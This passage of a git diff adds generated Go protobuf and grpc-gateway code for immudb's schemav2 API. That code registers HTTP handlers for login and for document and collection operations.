immudb.schemav2.DocumentSearchRequest.QueryEntry + nil, // 12: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry + nil, // 13: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry + nil, // 14: immudb.schemav2.CollectionInformation.PrimaryKeysEntry + nil, // 15: immudb.schemav2.CollectionInformation.IndexKeysEntry + (*_struct.Struct)(nil), // 16: google.protobuf.Struct + (*_struct.Value)(nil), // 17: google.protobuf.Value + (*schema.VerifiableTx)(nil), // 18: immudb.schema.VerifiableTx + (*empty.Empty)(nil), // 19: google.protobuf.Empty +} +var file_schemav2_proto_depIdxs = []int32{ + 16, // 0: immudb.schemav2.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 11, // 1: immudb.schemav2.DocumentSearchRequest.query:type_name -> immudb.schemav2.DocumentSearchRequest.QueryEntry + 16, // 2: immudb.schemav2.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 12, // 3: immudb.schemav2.CollectionCreateRequest.primaryKeys:type_name -> immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry + 13, // 4: immudb.schemav2.CollectionCreateRequest.indexKeys:type_name -> immudb.schemav2.CollectionCreateRequest.IndexKeysEntry + 14, // 5: immudb.schemav2.CollectionInformation.primaryKeys:type_name -> immudb.schemav2.CollectionInformation.PrimaryKeysEntry + 15, // 6: immudb.schemav2.CollectionInformation.indexKeys:type_name -> immudb.schemav2.CollectionInformation.IndexKeysEntry + 7, // 7: immudb.schemav2.CollectionListResponse.collections:type_name -> immudb.schemav2.CollectionInformation + 17, // 8: immudb.schemav2.DocumentSearchRequest.QueryEntry.value:type_name -> google.protobuf.Value + 5, // 9: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue + 5, // 10: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue + 5, // 11: immudb.schemav2.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue + 5, // 12: immudb.schemav2.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue + 3, // 13: immudb.schemav2.ImmuService.Login:input_type -> immudb.schemav2.LoginRequest + 0, // 14: immudb.schemav2.ImmuService.DocumentInsert:input_type -> immudb.schemav2.DocumentInsertRequest + 1, // 15: immudb.schemav2.ImmuService.DocumentSearch:input_type -> immudb.schemav2.DocumentSearchRequest + 6, // 16: immudb.schemav2.ImmuService.CollectionCreate:input_type -> immudb.schemav2.CollectionCreateRequest + 8, // 17: immudb.schemav2.ImmuService.CollectionList:input_type -> immudb.schemav2.CollectionListRequest + 10, // 18: immudb.schemav2.ImmuService.CollectionDelete:input_type -> immudb.schemav2.CollectionDeleteRequest + 4, // 19: immudb.schemav2.ImmuService.Login:output_type -> immudb.schemav2.LoginResponse + 18, // 20: immudb.schemav2.ImmuService.DocumentInsert:output_type -> immudb.schema.VerifiableTx + 2, // 21: immudb.schemav2.ImmuService.DocumentSearch:output_type -> immudb.schemav2.DocumentSearchResponse + 7, // 22: immudb.schemav2.ImmuService.CollectionCreate:output_type -> immudb.schemav2.CollectionInformation + 9, // 23: immudb.schemav2.ImmuService.CollectionList:output_type -> immudb.schemav2.CollectionListResponse + 19, // 24: immudb.schemav2.ImmuService.CollectionDelete:output_type -> google.protobuf.Empty + 19, // [19:25] is the sub-list for method output_type + 13, // [13:19] is the sub-list for method input_type + 13, // [13:13] is the sub-list for extension type_name + 13, // [13:13] is the sub-list for extension extendee + 0, // [0:13] is the sub-list for field type_name +} + +func init() { file_schemav2_proto_init() } +func file_schemav2_proto_init() { + if File_schemav2_proto != nil { + return + } + if !protoimpl.UnsafeEnabled { + file_schemav2_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentInsertRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentSearchRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentSearchResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*LoginRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*LoginResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*PossibleIndexValue); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionCreateRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionInformation); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schemav2_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + file_schemav2_proto_msgTypes[5].OneofWrappers = []interface{}{ + (*PossibleIndexValue_NumberValue)(nil), + (*PossibleIndexValue_StringValue)(nil), + (*PossibleIndexValue_BoolValue)(nil), + (*PossibleIndexValue_IntValue)(nil), + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_schemav2_proto_rawDesc, + NumEnums: 0, + NumMessages: 16, + NumExtensions: 0, + NumServices: 1, + }, + GoTypes: file_schemav2_proto_goTypes, + DependencyIndexes: file_schemav2_proto_depIdxs, + MessageInfos: file_schemav2_proto_msgTypes, + }.Build() + File_schemav2_proto = out.File + file_schemav2_proto_rawDesc = nil + file_schemav2_proto_goTypes = nil + file_schemav2_proto_depIdxs = nil +} diff --git a/pkg/api/schemav2/schemav2.pb.gw.go b/pkg/api/schemav2/schemav2.pb.gw.go new file mode 100644 index 0000000000..6a5c4adbe9 --- /dev/null +++ b/pkg/api/schemav2/schemav2.pb.gw.go @@ -0,0 +1,574 @@ +// Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. +// source: schemav2.proto + +/* +Package schemav2 is a reverse proxy. + +It translates gRPC into RESTful JSON APIs. +*/ +package schemav2 + +import ( + "context" + "io" + "net/http" + + "github.com/golang/protobuf/descriptor" + "github.com/golang/protobuf/proto" + "github.com/grpc-ecosystem/grpc-gateway/runtime" + "github.com/grpc-ecosystem/grpc-gateway/utilities" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/grpclog" + "google.golang.org/grpc/metadata" + "google.golang.org/grpc/status" +) + +// Suppress "imported and not used" errors +var _ codes.Code +var _ io.Reader +var _ status.Status +var _ = runtime.String +var _ = utilities.NewDoubleArray +var _ = descriptor.ForMessage +var _ = metadata.Join + +func request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq LoginRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.Login(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_Login_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq LoginRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.Login(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentInsertRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentInsert(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentInsertRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentInsert(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentSearchRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentSearch(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_DocumentSearch_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentSearchRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentSearch(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionCreateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CollectionCreate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionCreateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CollectionCreate(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionListRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CollectionList(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_CollectionList_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionListRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CollectionList(ctx, &protoReq) + return msg, metadata, err + +} + +func request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionDeleteRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.CollectionDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_CollectionDelete_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq CollectionDeleteRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.CollectionDelete(ctx, &protoReq) + return msg, metadata, err + +} + +// RegisterImmuServiceHandlerServer registers the http handlers for service ImmuService to "mux". +// UnaryRPC :call ImmuServiceServer directly. +// StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. +// Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterImmuServiceHandlerFromEndpoint instead. +func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ImmuServiceServer) error { + + mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_Login_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_DocumentInsert_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_DocumentSearch_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_CollectionCreate_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_CollectionList_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_CollectionDelete_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + return nil +} + +// RegisterImmuServiceHandlerFromEndpoint is same as RegisterImmuServiceHandler but +// automatically dials to "endpoint" and closes the connection when "ctx" gets done. +func RegisterImmuServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { + conn, err := grpc.Dial(endpoint, opts...) + if err != nil { + return err + } + defer func() { + if err != nil { + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) + } + return + } + go func() { + <-ctx.Done() + if cerr := conn.Close(); cerr != nil { + grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) + } + }() + }() + + return RegisterImmuServiceHandler(ctx, mux, conn) +} + +// RegisterImmuServiceHandler registers the http handlers for service ImmuService to "mux". +// The handlers forward requests to the grpc endpoint over "conn". +func RegisterImmuServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { + return RegisterImmuServiceHandlerClient(ctx, mux, NewImmuServiceClient(conn)) +} + +// RegisterImmuServiceHandlerClient registers the http handlers for service ImmuService +// to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "ImmuServiceClient". +// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "ImmuServiceClient" +// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in +// "ImmuServiceClient" to call the correct interceptors. +func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceClient) error { + + mux.Handle("POST", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_Login_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_DocumentInsert_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_DocumentInsert_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_DocumentSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_DocumentSearch_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_DocumentSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_CollectionCreate_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionList_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_CollectionList_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionList_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("POST", pattern_ImmuService_CollectionDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_CollectionDelete_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_CollectionDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + return nil +} + +var ( + pattern_ImmuService_Login_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "system", "login"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "documents", "documentInsert"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_DocumentSearch_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "documents", "documentSearch"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_CollectionCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionCreate"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_CollectionList_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionList"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_ImmuService_CollectionDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2, 2, 3}, []string{"api", "v2", "collections", "collectionDelete"}, "", 